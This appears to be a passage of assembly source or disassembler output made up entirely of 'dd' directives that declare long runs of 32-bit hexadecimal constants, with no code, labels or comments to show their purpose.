		dd 39A3D7CAh, 0E323143Fh, 25DBCB10h, 6757AF7h, 4556721Bh
		dd 8A67BA2Dh, 0EBACBB7Bh, 693D249Dh, 6F0EBCBDh,	76C96678h
		dd 9D21A19Ch, 33CFFCA7h, 1EDDE907h, 47D68537h, 0EABD68Dh
		dd 55528510h, 5FA5C386h, 547D5B72h, 3E221FD5h, 6629EA0Ah
		dd 34BAA4CBh, 0CB6BA0CCh, 59496262h, 70A68822h,	0FEE7F1ABh
		dd 8029E419h, 0AE7E706h, 8A97C710h, 677EC7B9h, 0ECA4F26Ah
		dd 32CD801Dh, 0A9CD5D94h, 8DE8D00Ah, 4321308Ch,	1F4BCEECh
		dd 9E124062h, 47C2946Ch, 4167B7FCh, 8FC9CC18h, 9F9A1883h
		dd 0E7ED1A2Eh, 0BA923C17h, 0CBE90689h, 8B823057h, 0A4E5FB99h
		dd 434F6DE0h, 0F7DE9B4Ch, 0B9E1ADEFh, 96E5D09Dh, 1253CE0h
		dd 6BB4FE51h, 1B83094Dh, 0EF60B13Eh, 0F55E6CE3h, 245E51B2h
		dd 6B49069Bh, 198FC500h, 53FF5A65h, 5F24406Fh, 0E0BB2905h
		dd 5AED158Fh, 32A14CCDh, 0E68CFB21h, 14B73011h,	0FBFBA0D6h
		dd 0FB789841h, 0ADDD7D15h, 84C6A6E7h, 23253297h, 7171A513h
		dd 0F94D40ECh, 0FEA7AC2Fh, 0EC26B76Dh, 87BCF304h, 4358698Bh
		dd 41FBB0B6h, 0DEC2147Dh, 0E7A4071Dh, 0B5379686h, 60E69DBBh
		dd 2F188262h, 8FEC66B0h, 0A9989B29h, 0DDD3A048h, 2FAC12EAh
		dd 0F9E5B9FAh, 148EF458h
		dd 56CD894Ah, 81001CC9h, 0F7237256h, 0DB371F9Fh, 0C3440E3Bh
		dd 5138AEC8h, 558549C5h, 0EBAAC12Eh, 7E7549A1h,	27E01F30h
		dd 0CFE287A6h, 689B0373h, 0A32C5CFAh, 35A3B877h, 0D1D26F68h
		dd 7A0E5DC7h, 91AD9EB4h, 0DEAFFAE3h, 84D7B17Ch,	62D20EADh
		dd 0E2A44EBCh, 377AFC10h, 0C015C011h, 2854FC48h, 5C573993h
		dd 11EFFE56h, 0B832B9C8h, 0E47B1D1Ch, 0ED371FA0h, 4891F856h
		dd 0FC43D468h, 9193C3A4h, 896B21CEh, 1B144809h,	0D2982FB5h
		dd 0C4ED3B2h, 90DCA617h, 13AC5FB4h, 749ABD46h, 2CA287ABh
		dd 0A23E83E2h, 0EFD1ED27h, 0AFDBF521h, 73420ED8h, 0DE310749h
		dd 0DF922B15h, 5FD91072h, 9108146Bh, 0CC270729h, 0DE6B823Bh
		dd 3B4D6029h, 57E8999Eh, 94E6183Ch, 2F82DAB4h, 0D2114A39h
		dd 746A5290h, 382E9D3Dh, 5A671A11h, 3FBD0C68h, 77A6F6D8h
		dd 3AE3F877h, 344DCD75h, 0A3405018h, 37127EA3h,	8B087297h
		dd 7EFD7D21h, 0BB044A04h, 0FE8E0F65h, 0D8C1CF99h, 4BB91CFEh
		dd 8622F2A6h, 1B330AF0h, 1B74112Dh, 8C8812D4h, 0AE5B924Dh
		dd 76580D9Dh, 489C639Bh, 38BF5B4Ah, 585779CCh, 80A9CC6Fh
		dd 0F1B0127Ch, 8DED2D0Ch, 0A7E35DB7h, 0A14556Fh, 0B0D52D34h
		dd 1A879DE3h, 1F3BDD08h, 0C7146E53h, 0FA2AAB35h, 0C6D0F040h
		dd 0F5DB5DDDh, 8C9905D0h, 0A054AC32h, 0DFCFB3C3h, 0AB810965h
		dd 510143D6h, 0D3E60E37h, 50F0EF15h, 0B9684677h, 0FB869C51h
		dd 0C4189566h, 81225994h, 0F387803Ch, 0C85F9432h, 0CF29A3DDh
		dd 9A8D74A0h, 33D618D1h, 136F755Eh, 416FC60Ch, 127876B1h
		dd 6E8D6D5Dh, 2E0475A9h, 0A5AEA1E4h, 39B03661h,	4A05D703h
		dd 6FEAC971h, 0F2A381F6h, 2F6A9876h, 222E36C8h,	0D4B2443Ah
		dd 5B50DBC5h, 0B98EE12Ah, 1520118Ah, 0F81C65CDh, 97A327E6h
		dd 839C82B0h, 40BCD4E5h, 9EC91108h, 0C8106F13h,	0F3E95129h
		dd 5FF03095h, 0F394627Dh, 1213717Ch, 0F2026E79h, 2CA8C831h
		dd 0A6922DFAh, 8874CCEDh, 3D85A4A8h, 0C9C2E037h, 0F119D985h
		dd 152F2000h, 0CB1368D7h, 4610FA0h, 8CA3FA22h, 0EA3FFCC3h
		dd 86BCF29Fh, 461C4E77h, 7A687DE9h, 95C7BA86h, 643E9109h
		dd 37E7CF3h, 9C27BFE5h,	0B5362BDFh, 109931FDh, 0C42ECBA7h
		dd 897909AFh, 673A51BDh, 0C4896C29h, 25140272h,	14C8EA12h
		dd 1182DD5Bh, 1D97E6C9h, 403CCFDFh, 0D7049232h,	13AA42Dh
		dd 0C8843E77h, 111143EBh, 2737F897h, 0F4776BF5h, 5B9D4884h
		dd 2FE78A04h, 0FF3F4470h, 6C2EA44h, 8EC4B0F3h, 0C9081DD2h
		dd 0E4A361CDh, 552C0381h, 1C111374h, 894705E8h,	0ABCC53FAh
		dd 643D2017h, 4FFEBCD8h, 1E99C197h, 26E2B0A9h, 642611BEh
		dd 0FCF924B3h, 6D0D84B0h, 0B6136E81h, 4741C720h, 0C60420D4h
		dd 0C1E04EC4h, 66612E56h, 9B30D762h, 9CD89CD8h,	0B32DF9BEh
		dd 0D41E462Fh, 0BF968E40h, 2995FD2Ah, 1CA46CACh, 76B704E3h
		dd 0DE20E9ACh, 8FC11845h, 28079F19h, 4380B949h,	4CC21FB5h
		dd 32CE04DFh, 70552987h, 388D1002h, 6D7DABF5h, 0F1EF33E8h
		dd 0BD8B3504h, 7091AF09h, 0C39FEBD1h, 0C4F252C5h, 0E3A13B2h
		dd 0ACA3974h, 0ECD245B0h, 3F747B01h, 1CBA8EC7h,	29724FC6h
		dd 25151D90h, 94903867h, 0B858632Bh, 0C5D4B996h, 95ED8A51h
		dd 0CF88758Fh, 0FF65FFF4h, 1A2506C9h, 0AA6E089Ah, 0FEE4E961h
		dd 405C617Ah, 4373DF9Dh, 0D3F48FD8h, 40D1DF5Fh,	0BE6FB32Ah
		dd 0F1B19BB5h, 0FC9BF6FBh, 0D1537F9Fh, 90027D67h, 0EEAA371Bh
		dd 6130BCDFh, 0D234CD8Dh, 400832F6h, 1F07B249h,	85B7CD5Fh
		dd 0F419E7DDh, 2AB9EFF0h, 0D76FE6A5h, 71CC98BFh, 0FEAEB9D3h
		dd 5F2B7FA9h, 0CC8846C1h, 3C12A535h, 2159A3B2h,	0A520B91Ch
		dd 98332A1Ah, 68D186B4h, 1A653B43h, 0DFBC9313h,	65A70C7Bh
		dd 0F959DF86h, 9258BCF3h, 0A029ADF6h, 0B09AFEC2h, 2EEB20F8h
		dd 702E9FD9h, 3B83474Dh, 39ED4487h, 0C63ED30Ah,	990797BAh
		dd 0C29E4D4Bh, 5DDDBA9Bh, 80A50BEFh, 0AD4B7756h, 0C103E332h
		dd 183FF195h, 13302D06h, 4BF11C6Ah, 405AD944h, 27A8121Dh
		dd 53DDDC7Fh, 6EFE78D7h, 67153CF5h, 7BDEDD87h, 14975B50h
		dd 2C8C5AE3h, 0A8F85DF9h, 77F0C5A4h, 361B2BFAh,	13B94B6Eh
		dd 0B2FAC6C5h, 40B7754Eh, 0BBE5FAB8h, 0F1E5D689h, 2AAE6971h
		dd 4BC3D688h, 0EB07EC67h, 0ADE8E6AEh, 31AB100Ch, 980B378h
		dd 364C9F21h, 0C25B88E4h, 0E7402C46h, 5681571Ch, 877149C4h
		dd 5F3D2A73h, 0AD77A603h, 1ADCF0A0h, 3EE4139Fh,	857423BDh
		dd 884DEA08h, 949B814Ah, 724088FEh, 5E8D48BAh, 61FCDC15h
		dd 0A481F50Fh, 5999A67Fh, 166DF527h, 0CD91131Ah, 0A00ECC8Ch
		dd 0ED09656Fh, 54134289h, 7FF9BFDAh, 996FD2BDh,	5E5CD7C4h
		dd 8DFE3180h, 0E056111h, 0D5679D26h, 0EAF0EACFh, 166403B7h
		dd 0FEA3C6BAh, 976EF4FFh, 0DD6BFBFFh, 0BD480729h, 8A12057Fh
		dd 5E6535C2h, 23A34B43h, 8A65EA36h, 0C2694CC8h,	9DBABADFh
		dd 0BFEB46A0h, 0A50F87D2h, 46DECBDBh, 0CC8BB69h, 4914B0D0h
		dd 2C2F41D7h, 0A01F26F1h, 6987995Ah, 0CDA1D23Ah, 4013809Eh
		dd 737B8605h, 65D45E16h, 0FEAAFEF7h, 0CB9BF0A5h, 2182F9B8h
		dd 446A1142h, 3A5AECE3h, 0F1A76E5Fh, 9ABD0F8h, 2F8872C9h
		dd 7CD612Dh, 9F7C62E8h,	45CE998Dh, 0C45868DFh, 0A92FF49Fh
		dd 387AB656h, 405F3031h, 16EE904Ch, 0B36BDD77h,	0DF1944CBh
		dd 0AC396ECBh, 9A29BB5h, 62C73CDEh, 2B0A017Ah, 0CDB8D140h
		dd 0EEADF2C5h, 74AD1130h, 150BB634h, 72E3F2F9h,	0BB9F6A9Eh
		dd 20818AC9h, 651472Eh,	0D728489h, 0E14E7AE4h, 82C99E52h
		dd 67908A6Ah, 78F5C9EDh, 202066B0h, 0C21A74DEh,	8FF5271Ah
		dd 0E83E4853h, 9C83B980h, 6837CD65h, 4DCBFEB8h,	816A77C6h
		dd 6BAD5D0Bh, 0F9A8E62Dh, 6CA72A11h, 0EBB1524Ch, 36976621h
		dd 0A5BF17CAh, 0F4B15A96h, 295E3651h, 0D4C7D835h, 325A0814h
		dd 384BCEFDh, 0D3B67546h, 0F1E25E00h, 0AB0D3259h, 55E1B043h
		dd 966EBE75h, 0EA903108h, 94F257A3h, 0A4C1A2AEh, 392FA520h
		dd 49A399F9h, 40528EA8h, 21ED1661h, 0D32E502Eh,	4A327314h
		dd 424CE5Fh, 0A1371B8Eh, 0EB98FF4Fh, 0B4E64040h, 0D581B312h
		dd 0B77B57F5h, 0D5691EFAh, 58FB987h, 0CAD5C105h, 0A291338Ch
		dd 34C99B37h, 0D99753AFh, 7E870EEEh, 4144BDFBh,	824876B2h
		dd 0F03EABACh, 0E7E9CBD2h, 0FA0F8113h, 6214C536h, 6FE693C2h
		dd 6B24BC61h, 0D917704Ah, 5BF0D7A4h, 6E01B234h,	7984CDACh
		dd 6B4BDBC7h, 0CD7ACC8Ah, 410B724Bh, 3053EB50h,	62BDB554h
		dd 0A57EE800h, 8181D78h, 7CB705B5h, 0D2E14208h,	6F592CB6h
		dd 0A0A7BA39h, 0AC07C7h, 3951D020h, 52D8E742h, 49564896h
		dd 0E75E3579h, 63579B4h, 0BC02FB2Bh, 5E52FBB9h,	5A54282Ch
		dd 383A68A2h, 0C0FEF2F8h, 9337333h, 0CE2E01FBh,	0CB085EBBh
		dd 0F6236918h, 188DF0DBh, 71227343h, 9D23D417h,	3F3D6AB3h
		dd 0BFE2A203h, 1A826B31h, 0DBB15A97h, 0A0AE618Ch, 3E5782BEh
		dd 2611CED1h, 9D61DE70h, 23E403C8h, 0B7D13191h,	1229A4A8h
		dd 595C1666h, 0FC06DFE5h, 56EE0B95h, 3FDA3C06h,	0CAAF94CAh
		dd 0E48FDD2Fh, 0CB772B85h, 9B2B0061h, 0AD529D69h, 8F636288h
		dd 0F0E74AD1h, 7BD30B03h, 5F04870Dh, 0B7BF9FBh,	9C9106A3h
		dd 1684B5A0h, 2A0C88DDh, 0B99B37BAh, 1EE911A8h,	0DFE5563Eh
		dd 6B8AE953h, 0F0B567B8h, 5EDB0F0Bh, 8E9E7DC0h,	22A54A44h
		dd 0CE7BFA3Ah, 8A0818D2h
		dd 0A1170179h, 0DC52B9A5h, 87517035h, 0B17D7CACh, 0DF4286F6h
		dd 245F3A00h, 14D51003h, 5EE78FB4h, 1397A582h, 0B75BBE69h
		dd 0B8D77FB6h, 7899E5D0h, 12751DEFh, 81F9BC1Eh,	6FC0B568h
		dd 4983EDE9h, 6ACFF2ECh, 28A81C1h, 436308A7h, 7A261B3Fh
		dd 1166C5ACh, 9727E17Fh, 5DC66056h, 432C3C1Bh, 0D162F2F5h
		dd 0A0D59B74h, 2F486CABh, 6EA810D2h, 0A17C643Fh, 3184AE88h
		dd 0D739690Eh, 2172D05Dh, 0EB0D4D7h, 31843A6Ch,	8E4094E5h
		dd 0F85327DCh, 0FE2DDEECh, 51570241h, 0BDC5FA1Ah, 322E2AF2h
		dd 0A21C773Dh, 0DA349E6Bh, 9233E295h, 0CD124026h, 0C5C3DB6Ch
		dd 38D530D9h, 4ECEFF3Ah, 7DD5DF15h, 0A3AB2D24h,	0A21A03FFh
		dd 45A4F8C7h, 0C95C04F3h, 401764E2h, 9CABFC17h,	27BD9FFDh
		dd 52538B71h, 471F15E4h, 648BA70Bh, 8823A4F7h, 0C2C54008h
		dd 9A540DC4h, 2DD55191h, 9A6FC163h, 128B9953h, 29929EAFh
		dd 45699C24h, 0A5D6B8A4h, 7AA78F28h, 0C6EFCD97h, 0EB080FE1h
		dd 0E5B72A30h, 7A17AE1Bh, 16FE39C7h, 1D060CC8h,	377E2477h
		dd 0C6F66B73h, 8A058165h, 27E5A964h, 0EA83F44Ah, 0B6FF5B19h
		dd 464DF00Bh, 0E29E1D21h, 3C0062ECh, 0DEC7F53Fh, 0FE8FED67h
		dd 0D371D324h, 4F358881h, 1945B4EBh, 0BB658BA6h, 7F11271Ch
		dd 20DA8E63h, 0BF40E32Fh, 0B5944A70h, 2DDA71AAh, 45EBD3EFh
		dd 0D35DAC78h, 0E968ABFDh, 0F4F6240Bh, 407C86EFh, 21A09C0Ah
		dd 9BE94524h, 0F8A50E1Fh, 0D54AF51h, 4309F5FAh,	52E5821Dh
		dd 0D47F42DBh, 0B8F5048Ch, 0B3137C3Fh, 0E6D3FF06h, 927015C1h
		dd 2EE2107Bh, 39E18090h, 4541C1D5h, 70DE1A12h, 0CFBCA789h
		dd 0B113E381h, 6FCECD50h, 0C83449CAh, 489FA440h, 1B4268Dh
		dd 20A1E53Ah, 59352168h, 0FBDD9E46h, 0FE656505h, 5D744DB6h
		dd 80133B4Eh, 0F64DAAFBh, 7D93DA10h, 96A9F7CDh,	0A3564391h
		dd 6FEA7DB1h, 0EC5C7682h, 59C9AD29h, 8C0B06A4h,	5FFAD4D9h
		dd 6A3AE325h, 0D50A9CAEh, 0A27EF30Eh, 3FDDA653h, 0FBEC6FC5h
		dd 0B25EC052h, 8FF35971h, 3C7FB741h, 0C889332Ch, 0FD31601Eh
		dd 604BDEF5h, 0DE75B171h, 684CE292h, 0D0AF912h,	8C5F41C4h
		dd 0E5AA8E0Bh, 0D7123424h, 0DF5FA217h, 9F0AE29h, 709E81h
		dd 1249F2D8h, 3A3D7CD2h, 37D80005h, 0BDACE5E2h,	7CF81406h
		dd 35C41A21h, 1991E923h, 9903E77Ah, 8B59CE7Eh, 6E1B0E39h
		dd 40F3E8ACh, 378F35C2h, 0C425C4CDh, 0EC095930h, 31D408BFh
		dd 0E262F41Ch, 0E793CEAh, 781777h, 73CA9160h, 0C7612378h
		dd 0E56B9E62h, 917FCB0Bh, 0BF2B3304h, 0C219AC57h, 0AC8643F8h
		dd 4D07506Bh, 3949329h,	47D4A198h, 9E139FC0h, 0F3FC82BDh
		dd 0FF169481h, 86DB1CCAh, 0D7F05D39h, 0A1C662F5h, 0E004B253h
		dd 56E2DDB4h, 4125AA24h, 793AE07Bh, 26C1E48Dh, 25A4240Ah
		dd 125617DAh, 378D8FC2h, 209098F5h, 1927D8EDh, 83C9DC98h
		dd 9A38D53Ch, 5D7451B7h, 0DBE997BFh, 7F946F5Bh,	0E4C3389Bh
		dd 0C2BF49A7h, 0C3A235EFh, 0E753F401h, 22C25585h, 9E812589h
		dd 0D50C5BDCh, 4A57C70Ch, 3E4DD050h, 0CFD6CB1Ch, 867AFC7Ah
		dd 0EB5C21E2h, 0E53BF51Eh, 0FAE5C7F6h, 104F5C6Ch, 0D38C81EBh
		dd 0D9BBEBCh, 0B761D153h, 7E70F3C3h, 63A703CDh,	0CE400CEBh
		dd 66625EB7h, 63FC774Ah, 0F7D43EA1h, 0C3D32123h, 66A991B7h
		dd 325E84D4h, 5860B4FCh, 0CB96D32Eh, 1EF8753Bh,	0C1AF7C6h
		dd 16201101h, 76B080Ch,	7D0A9560h, 0E85007CCh, 0CD1E98B5h
		dd 2E1B914Fh, 1AD29351h, 61CE39ACh, 0BC43E901h,	0AF6AA753h
		dd 2C974B21h, 6EFE97B6h, 29638C21h, 553AC45Fh, 563BD464h
		dd 295BA37Fh, 323B05D3h, 0B01E07F0h, 0A6E999A7h, 0C1F3EEBDh
		dd 0B3DD38D2h, 9C0293C2h, 0FB79A1F9h, 0F0FCB8B2h, 76FBD73Dh
		dd 78F25879h, 2A3F6AB2h, 470A787Ah, 6203EF10h, 7B110980h
		dd 11C27C39h, 0C84AB1Ah, 141EB2C2h, 16CD2C0Bh, 0B5FA62F6h
		dd 0CB3E997Ah, 0B2DF4202h, 3EB70473h, 6E5ADFCDh, 6CFADD89h
		dd 648CF097h, 6E544E52h, 0DF4BB9F8h, 0F6420726h, 0BC75034h
		dd 0CB5AC1Eh, 55B63145h, 0BB169168h, 0CC28541Fh, 0CAE6ABF4h
		dd 5FD4792Ch, 877A9E14h, 2ADEF4D5h, 548EAA5Fh, 0DC2D4C39h
		dd 8F992148h, 6062251Ah, 0E8F649E6h, 84216D45h,	466CB4E5h
		dd 0E9E9EDD2h, 0FF66CE5Eh, 0E75B3A13h, 0FBFD9E44h, 0BF1F8B25h
		dd 4EE2E681h, 101CB635h, 3EF0D965h, 75AAD3F3h, 0C2CB370Eh
		dd 2A8C0F84h, 0A158A2ABh, 50B995F9h, 6C408831h,	40E4E292h
		dd 0DF605C85h, 0D6972CC2h, 40A43C3Fh, 5027B4E6h, 0D7780295h
		dd 18173E89h, 1B116E1Fh, 4F329BA7h, 0D107B060h,	89BF10FAh
		dd 0B6C2008Fh, 71902D3h, 0D31FD73Bh, 6A8F6059h,	4DA65BD0h
		dd 93F96AC6h, 71552235h, 9DC1A4D8h, 0A74710AAh,	86FEF35Ch
		dd 4D526484h, 0F22D11EDh, 0F538B7E2h, 0BB830435h, 29C2F3E4h
		dd 0F1BEFC77h, 0EEDC5F76h, 652C642h, 58DEF28Dh,	0F94C6012h
		dd 373BCAE3h, 7173BDA6h, 2702C276h, 9089EA11h, 0A84BE4C2h
		dd 57CA31D0h, 4C1C9EBDh, 0B03FFFEEh, 0C3ED7B50h, 0E4D449E5h
		dd 5DD9457Bh, 47E61639h, 0B87E9A23h, 8480C662h,	0F3C1A6C1h
		dd 0AF6EFBEEh, 74C4D1E0h, 6E2F52BDh, 881FFFF5h,	0F6D3B49Dh
		dd 2E1A54FBh, 0C35C80CBh, 8EECE07Bh, 780EACF2h,	0CF684BFBh
		dd 9DDE10F5h, 0F12D2558h, 6E1E9054h, 4980CAFh, 0B087FC0Dh
		dd 0CD53CED8h, 377869A6h, 509BC8B4h, 532F6059h,	1FA0AB38h
		dd 3E0DCE56h, 0A13A65EBh, 7E0B408Ch, 30E4AC3Ch,	0A2BB8962h
		dd 0C5E7A35h, 0AF0B0AC4h, 55160D84h, 0ED284357h, 0EE42713Bh
		dd 4D3FDDD8h, 5ECF6BFEh, 0D27875D2h, 91AEE2F7h,	0B01C08F2h
		dd 0DB00300Ch, 0B2AE7806h, 0D5717425h, 0D0CC15A7h, 0B27ECBF0h
		dd 0DA1E50BBh, 0C226C7E3h, 0EC838D9Eh, 3CA3CE32h, 0B85087FCh
		dd 0D7EEA2F4h, 8CB7D9D6h, 7CFA9866h, 2BD7B630h,	915B9A14h
		dd 23829A6h, 0C3172B2Ch, 0EB5A01D9h, 6AB1D168h,	0A49407h
		dd 83EB89B7h, 6EC99AE6h, 33656A91h, 747A6815h, 0AE78875Ah
		dd 45A78F6Ch, 13D5A24Bh, 3D64C82Dh, 750D6884h, 0BDD96630h
		dd 0EF5BBC80h, 4E1E63C6h, 0F229A917h, 77BD9687h, 0AAE0E5E0h
		dd 0EA8A1BEEh, 0B8B7E1B8h, 12BF71A8h, 0C8CF7EFDh, 4CD77555h
		dd 98CD527Fh, 52341649h, 9504B171h, 61FBD97Bh, 0DB677B9Dh
		dd 0C61E8763h, 0D7E412CCh, 16B47705h, 7DB8E323h, 0B910DA5Eh
		dd 3B80428Fh, 0E43C333Dh, 8CDDDB94h, 0DECE3A57h, 9D53CD7Fh
		dd 50E4EB0h, 1A661A00h,	13F7EB36h, 972DF87Fh, 8D771B29h
		dd 40A8C2B7h, 0D9803227h, 6620AECFh, 891A76Bh, 55B23971h
		dd 83F8E85Ch, 0F0E5D0E8h, 9E2BDE48h, 0AC8E35A0h, 1070825Dh
		dd 3482E337h, 7E9126ADh, 3AEA6530h, 3C9775A2h, 84F050h
		dd 8CA2FE1h, 75EF8D44h,	11F33181h, 1CFD6710h, 0F0433A9Bh
		dd 0F57BE79Dh, 20C3DB50h, 7CA45CDDh, 5923256Dh,	4206AC48h
		dd 7264689Fh, 1943459Bh, 1E50032Fh, 31C28F40h, 0B19C59C9h
		dd 0AE64F0D9h, 86165034h, 8B9BE5B7h, 99618C8Dh,	0A6F822ACh
		dd 91917CF2h, 0B2E46A3Dh, 6D29A133h, 24B7ED23h,	3763B1E3h
		dd 9FDEB1AFh, 7F1A2EB6h, 0FA56F07h, 18514B97h, 5DDE6C7Eh
		dd 0EB2A20F4h, 71E342D6h, 0DD97DA72h, 882642BAh, 8D5B9884h
		dd 4124A83Ah, 0DCD683E9h, 0DFFEBA35h, 1BDF252h,	5014791Dh
		dd 200FECAh, 8FFDAF0Fh,	0F3D602FDh, 0A79378F2h,	0FB131B0Ch
		dd 9D26081Dh, 2935CF08h
		dd 2A955B38h, 77C038D7h, 345035CCh, 0DBA0B526h,	0B640A7EAh
		dd 900B148Ch, 0D15EB5AFh, 0FACB6D78h, 0E81B71D4h, 0F322BA64h
		dd 5FFED67Fh, 5D394458h, 2ABD0526h, 32A80B10h, 0A9C54401h
		dd 5E5411Bh, 0A00C31ABh, 0DDC7EAC1h, 1641E066h,	0B0AE6BE3h
		dd 87347B37h, 5B808CCDh, 0D0895073h, 49316B5Ch,	722AE6BDh
		dd 43204F67h, 0ECF8854Ch, 0E274B7A3h, 9EAE3ED7h, 7CEE14E5h
		dd 0F0CED671h, 92A30387h, 1FEF46E2h, 61F59258h,	0BD493584h
		dd 9793CC89h, 0DFDD549Fh, 0BE790676h, 0F52644DDh, 1FB963F5h
		dd 91942656h, 991A1486h, 7D388564h, 9EB97B50h, 0BE388DA1h
		dd 2F0B32DDh, 24B45F73h, 0E0E0D565h, 7DE7C145h,	0E56963FEh
		dd 7DB55713h, 0E7928298h, 3ED05B75h, 0C1E56405h, 0FFF316F1h
		dd 77BF2D46h, 9AD124C8h, 7FB8D6B4h, 88089F91h, 0D8B4C00Eh
		dd 952275AFh, 0F0763716h, 2987814Dh, 0B96FDA88h, 51C19F53h
		dd 4F4FE124h, 0F1965ADAh, 2065F5ECh, 0DD99218Ch, 7ED60D0Eh
		dd 1C59558Ch, 8C38E49Bh, 5410D728h, 8826D6DEh, 529C39DAh
		dd 0B2FC2D1Dh, 4CC11DBAh, 73867000h, 8AFA395Bh,	0E127F1ABh
		dd 32C4756Dh, 1DCCF7FDh, 0B50EAF1Dh, 96416D21h,	0FFBF4979h
		dd 0EB55C5BAh, 9E6AB36h, 0A632CA1h, 780E647Eh, 2E46D3CFh
		dd 24E07D6Ah, 0AD55403Ch, 0A78F52CEh, 0D142663Ah, 0E24B11AEh
		dd 51FD689Eh, 5578EF56h, 3E3BFDE9h, 0F56D9079h,	9D538B32h
		dd 177806B3h, 911D653Ch, 5E875ED9h, 0FE9B917Bh,	2727F1B3h
		dd 0E0EB5398h, 74896496h, 30D1F0DEh, 0FDD9E248h, 5C707605h
		dd 0AAB3E726h, 0E97899C6h, 1B21EA3Dh, 6D54A621h, 0DB3855C7h
		dd 91518CFCh, 56BB49Dh,	2BE63E32h, 0D1B6A320h, 7765C96Dh
		dd 0DB3766AAh, 0EC65282Fh, 9E9D324Eh, 0C1E7DF0Dh, 86E1A9E7h
		dd 0CE4CD112h, 0EE3099EDh, 77F0A097h, 0B5FC11DEh, 98F972B9h
		dd 0F8EF7715h, 0BD71120Fh, 0A564711Ch, 3AD1BE2Eh, 0B4D8FDD7h
		dd 5BCD2B1Eh, 0FADFA965h, 0D25E7D9Ah, 0D824CC27h, 6AEE67C8h
		dd 8347A2EAh, 997F9583h, 4849A737h, 5B5F5FE0h, 0DE5C990h
		dd 617E96E7h, 46A3105Ah, 0C068BDA5h, 0DFA6CF17h, 0FE4C0C59h
		dd 0E696D7D7h, 88D8CDFAh, 0EBF7AEC2h, 1C4A6F6Ch, 2F78606h
		dd 0FBD4CCC6h, 82C5A70h, 1020F0CAh, 219897E4h, 0FFE923F8h
		dd 0EF53CE8Eh, 45D4AA37h, 773CC891h, 5408D8BCh,	0C91E5E80h
		dd 57485C60h, 251A490Fh, 5832C393h, 0FC9247D4h,	4104FE3h
		dd 69FCF3CBh, 0AD71D2DFh, 0FCBD710Eh, 887C6807h, 0CE0BBED7h
		dd 46C00895h, 31231BAEh, 0D399EAD6h, 85166FAFh,	0E87CDB09h
		dd 3EDE17B1h, 487557DFh, 1D50253h, 881C4332h, 0A7A63FEFh
		dd 32E95B08h, 6E7D00EFh, 450BFB83h, 2633855Fh, 773C875Bh
		dd 85F6FB8Eh, 1731A602h, 65A376B7h, 13FC0FD7h, 0FB746325h
		dd 0E386D36Eh, 81E1FD0h, 90976D7Fh, 3D4037Ah, 2F8D3BA8h
		dd 5C11E561h, 631C6C4Fh, 0E9E7943h, 1386C12Eh, 0C6609EA8h
		dd 790FC47Ch, 50397397h, 7EEB4C0Ah, 9795CE69h, 0C4EA6AD3h
		dd 0E37B6EF5h, 8EBA4168h, 0B1F4BC31h, 7D0AEB3h,	9B860DEFh
		dd 0E1C8C90Ah, 7260998Dh, 2A39FF8Bh, 6544DC43h,	6A11E319h
		dd 0CBCECF2h, 1A508F1Eh, 721C3828h, 6FDDCE4Ch, 0A14A2C23h
		dd 1679B5CCh, 0C4C54945h, 0C916B8FBh, 7176FB6Eh, 98631235h
		dd 0A614F77Ah, 36615DE0h, 13CC6387h, 0D1FECCC6h, 10F17180h
		dd 0D00A1AD2h, 7F1BA261h, 21D04435h, 0A1271130h, 6ABCE221h
		dd 0AC8432A0h, 2CE815C6h, 8A846134h, 6A33E1D7h,	9350DAA4h
		dd 0F70B9AC7h, 0F3B48DF4h, 0C38DC779h, 42264DCAh, 0CFE48F8Dh
		dd 7B9764DDh, 0F0230788h, 0E11A698Fh, 724542BDh, 82CD6DFBh
		dd 26F557C3h, 99052529h, 300AFBB9h, 0DBEF7C7Eh,	17899F29h
		dd 9E1011D4h, 6CC0A172h, 0B58CFD50h, 0DF7570D7h, 76224ACh
		dd 0B5A4A1CAh, 0AEF5193Fh, 4B2CDB12h, 7A91E0DDh, 0E84CEDECh
		dd 0B0CAC775h, 87206C6Dh, 0B8394262h, 0D494129Fh, 0C77F3F3Fh
		dd 0CC248695h, 831659F2h, 93B5955Dh, 87F6B1DFh,	6D61452Bh
		dd 6301CEE2h, 71E22FA9h, 0FB3DBACFh, 0B5FD4287h, 50022AA7h
		dd 0A1EF962h, 0E7C27A48h, 78B5ADB5h, 0BD47F546h, 2316FF07h
		dd 0F06456B1h, 9BE369F3h, 6147A5D3h, 72EB0213h,	0AC44AE79h
		dd 0D00679DFh, 0C3E84164h, 8254B668h, 8A7B9903h, 9170E0B0h
		dd 0E18F75D2h, 6AFEA0CEh, 0B21432ABh, 0DFE66BDh, 3129FFA4h
		dd 0EB1B1FA7h, 23F2346h, 161D66CEh, 37E5D02h, 3152C23Ch
		dd 0B76460D8h, 0A26E5CAFh, 2113E323h, 0A5E6338Bh, 2B4C2509h
		dd 910B4D41h, 0CE216A30h, 0EAB6B436h, 0F6C94EB4h, 0D0A81BAFh
		dd 1001E535h, 5F94B554h, 0F784C18Bh, 0FA554274h, 0BFD35ABEh
		dd 0A76F3499h, 98D3C085h, 41C603E4h, 85C9C893h,	0D74285AEh
		dd 104B8F2Ah, 6A0BDF7Ch, 0EFBEB775h, 0A31C73AEh, 4C825193h
		dd 1B813FF3h, 4990DE8Ch, 0F0933D9Eh, 3F5F23C2h,	36C35246h
		dd 78E95578h, 8C46D710h, 26C04AB3h, 3F09DB2Dh, 515C48DEh
		dd 23CCF685h, 0C8B79FC0h, 285726EBh, 0F4B5BDBDh, 0C1B99BB2h
		dd 8BAC37ABh, 95352DBh,	99FE32B4h, 422BBF59h, 8A52FD88h
		dd 59A9634Fh, 86F658F5h, 0F6950AFAh, 0D2D3E0F4h, 1F4A52CCh
		dd 57338D5h, 0D702AB8Dh, 0CF5E7B57h, 0C6CFE8A5h, 765B631Bh
		dd 0AA8CA2CFh, 0D0974782h, 71C1C917h, 9DD1EA8Ah, 0BA8B743Bh
		dd 0B8208E7Dh, 0CEA25A28h, 2BEEE0D2h, 0B3BCAD9Fh, 0A92E15E6h
		dd 4EF7B0F3h, 857864D9h, 24CBD6FDh, 5B9F47C5h, 4BBDEF5Bh
		dd 3A0CA516h, 3FB1BFC5h, 0A5B534BAh, 0AD16250Ah, 1AFB0C18h
		dd 2270D180h, 6425E123h, 0C70B9DBBh, 6331BC7Ch,	214C69F7h
		dd 0A4A33E2Bh, 40505704h, 0BBD6E3DBh, 49370600h, 0ABA32466h
		dd 920A15B0h, 75CADCF0h, 0C78E68F4h, 0AA05FCF7h, 0BB37B1DDh
		dd 0B8828B4Ah, 0E3D7A24Dh, 5132ACD5h, 67271C99h, 3D2B08BAh
